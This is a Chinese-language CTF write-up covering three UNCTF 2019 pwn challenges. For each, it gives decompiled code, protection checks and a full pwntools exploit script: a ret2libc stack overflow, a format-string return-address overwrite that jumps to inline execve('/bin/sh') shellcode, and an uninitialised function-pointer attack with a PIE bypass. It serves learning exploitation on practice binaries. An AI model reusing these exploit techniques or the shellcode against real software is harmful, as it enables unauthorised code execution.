UNCTF pwn部分writeup

原创

落殇子诚 于 2019-11-16 15:12:49 发布 291 收藏

UNCTF

pwn

babyrop（栈溢出）

解题过程

首先覆盖变量，然后开启后门，然后通过后门函数来libc leak，然后再次回到后门函数，再次跳转到libc空间执行system("/bin/sh")，需要注意的是，对ret地址进行了check，所以先跳到ret上，然后通过check再到libc空间。

IDA打开

程序很简单

```
int __cdecl main()
{
  char buf; // [esp+Ch] [ebp-2Ch]
  int v2; // [esp+2Ch] [ebp-Ch]

  v2 = 0;
  sub_80484FB();
  puts("Hello CTFer!");
  read(0, &buf, 0x30u);
  if ( v2 == 0x66666666 )
    sub_804853D();
  puts("Ok!goodbye!");
  return 0;
}
```

```
unsigned int sub_804853D()
{
  unsigned int result; // eax
  char buf; // [esp+8h] [ebp-10h]
  unsigned int retaddr; // [esp+1Ch] [ebp+4h]

  puts("What is your name?");
  read(0, &buf, 0x30u);                         // offset: 0x14
  result = retaddr;
  if ( retaddr > 0x8050000 )
  {
    puts("What!?");
    exit(0);
  }
  return result;
}
```


这里的ret地址

```
adef@ubuntu:~/CTF/unctf/pwn/babyrop$ ROPgadget --binary babyrop --only "pop|ret"

Gadgets information
============================================================
0x0804865b : pop ebp ; ret
0x08048658 : pop ebx ; pop esi ; pop edi ; pop ebp ; ret
0x080483b5 : pop ebx ; ret
0x0804865a : pop edi ; pop ebp ; ret
0x08048659 : pop esi ; pop edi ; pop ebp ; ret
0x0804839e : ret
0x0804847e : ret 0xeac1

Unique gadgets found: 7
```


附上exp

```
#coding:utf-8
from pwn import *
context.log_level = 'debug'
io = process('./babyrop')
elf = ELF('./babyrop')
libc = ELF('/lib/i386-linux-gnu/libc.so.6')
if __name__ == "__main__":
    io.recvuntil("Hello CTFer!")
payload = 'a' * 0x20 + p32(0x66666666)
main_addr = 0x08048592
io.sendline(payload)
io.recvuntil("What is your name?")
io.sendline('a' * 0x14 + p32(elf.plt['puts']) + p32(main_addr) + p32(elf.got['puts']))
io.recv()
libc_base = u32(io.recv()[: 4]) - libc.sym['puts']
success('libc_base:' + hex(libc_base))
io.sendline(payload)
io.recv()
bin_sh_addr = libc_base + libc.search("/bin/sh").next()
io.sendline('a' * 0x14 + p32(0x0804839e) + p32(libc_base + libc.sym[
    'system']) + p32(main_addr) + p32(bin_sh_addr))
#这里的0x0804839e是ret，返回地址
io.interactive()
```

babyfmt（格式化串漏洞）

原理知识：Printf的漏洞和shellcode

解题思路

先确定buf的偏移，并ebp leak，这样就可以推算出ret和buf的地址，然后通过%{}$hn写入ret为buf的下半部分，然后下半部分恰好放置shellcode，这样就可以执行shellcode拿到shell

打开题目

查一下保护

```
adef@ubuntu:~/CTF/unctf/pwn/babyfmt$ checksec babyfmt
[*] '/home/adef/CTF/unctf/pwn/babyfmt/babyfmt'
    Arch:     i386-32-little
    RELRO:    No RELRO
    Stack:    No canary found
    NX:       NX disabled
    PIE:      No PIE (0x8048000)
    RWX:      Has RWX segments
adef@ubuntu:~/CTF/unctf/pwn/babyfmt$
```

并未开启保护

IDA打开

```
int __cdecl main()
{
  signed int v0; // eax
  signed int v2; // [esp+Ch] [ebp-Ch]

  v2 = 30;
  sub_804868B();
  puts("Welcome to UNCTF2019!");
  puts("printf is magic function!");
  while ( 1 )
  {
    v0 = v2--;
    if ( v0 == 0 )
      break;
    sub_80486CD();
  }
  return 0;
}
```


exp

```python
#!/usr/bin/python2.7
# -*- coding: utf-8 -*-
from pwn import *
context.log_level = "debug"
context.arch = "i386"
elf = ELF("babyfmt")
sh = process('./babyfmt')

sh.recvuntil("Please input your message:")
payload = "%22$p"
sh.send(payload)

ebp = int(sh.recv(10),16)
ret = ebp - (0xffb66408 - 0xffb663ec)
buf_addr = ebp - (0xffb66408 - 0xffb66390)

payload = p32(ret) + p32(ret + 2) + "%." + str(buf_addr % 0x10000 + 0x28 - 7) + "d%4$hn"
payload += "%." + str((buf_addr >> 16) - (buf_addr % 0x10000) - 0x28 - 2) + "d%5$hn"
payload = payload.ljust(0x28,'\x00')
payload += "\x31\xc0\x31\xd2\x31\xdb\x31\xc9\x31\xc0\x31\xd2\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3
\x52\x53\x89\xe1\x31\xc0\xb0\x0b\xcd\x80"

log.success("ret: " + hex(ret))
log.success("ebp: " + hex(ebp))
log.success("buf_addr: " + hex(buf_addr))

sh.sendline(payload)
sh.interactive()
```

sosoeasy_pwn

首先查看程序开启了哪些保护

```
adef@ubuntu:~/CTF/unctf/pwn/sosoeasy_pwn$ checksec pwn
[*] '/home/adef/CTF/unctf/pwn/sosoeasy_pwn/pwn'
    Arch:     i386-32-little
    RELRO:    Partial RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      PIE enabled
```

拖入IDA

发现第二个函数

```
unsigned int sub_902()
{
  char s; // [esp+Ch] [ebp-1Ch]
  unsigned int v2; // [esp+1Ch] [ebp-Ch]

  v2 = __readgsdword('\x14');
  memset(&s, 0, 0x10u);
  printf("Welcome our the %01d world\n", (unsigned int)sub_8C0 >> 16);
  puts("So, Can you tell me your name?");
  read(0, &s, '\x14');
  printf("\nhello %s", &s);
  fflush(stdin);
  return __readgsdword(0x14u) ^ v2;
}
```


没有溢出但是 答应了一个函数的前几位地址

然后是没有溢出的输入

```
int sub_9E6()
{
  int (*v1)(void); // [esp+8h] [ebp-10h]
  __int16 *buf; // [esp+Ch] [ebp-Ch]

  puts("Please input your choice:(1.hello|2.byebye):");
  read(0, buf, 1u);
  if ( buf == (__int16 *)((char *)&word_30 + 1) )
  {
    v1 = (int (*)(void))sub_99B;
  }
  else if ( buf == &word_32 )
  {
    v1 = (int (*)(void))sub_9B4;
  }
  return v1();
}
```


第三个函数 接受我们的输入 然后复制函数指针。

但是如果我们 输入的是 1,2 以外的 数 v1 就不会得到函数指针而是用 stack 上的值

我们就可以 通过第二个函数布置

但是 开启pie 我们只能得到 addr 的前2字节 我们发现有后面函数就能爆破半字节从而

调用后门函数得到shell

编写脚本，完成函数指针的利用和pie的绕过。

```python
#coding:utf-8
from pwn import *
#p=remote('101.71.29.5',10000)
p=process('./pwn')
context(arch='i386', os='linux', log_level='debug')
elf=ELF('./pwn')
libc = ELF("./x86_libc.so.6")

#system_offset=elf.symbols['system']
p.recvuntil("the ")
#bin_sh_offset=0x00000b68
ads=(int(p.recvuntil(' ',drop=True)[-6:])<<16)+0x1000
log.success('ads:'+hex(ads))
bin_sh_addr=ads+0x09D6

log.success('bin_sh_addr:'+hex(bin_sh_addr))
p.recvuntil("So, Can you tell me your name?")
payload='a'*12+p32(bin_sh_addr)    #12=第一个数组的位置到v2()的距离，即1c-10
print len(payload)
p.send(payload)
p.recvuntil('Please')
#p.sendline('1')

p.interactive()
```

刚接触，只做了这些，希望以后多多指教。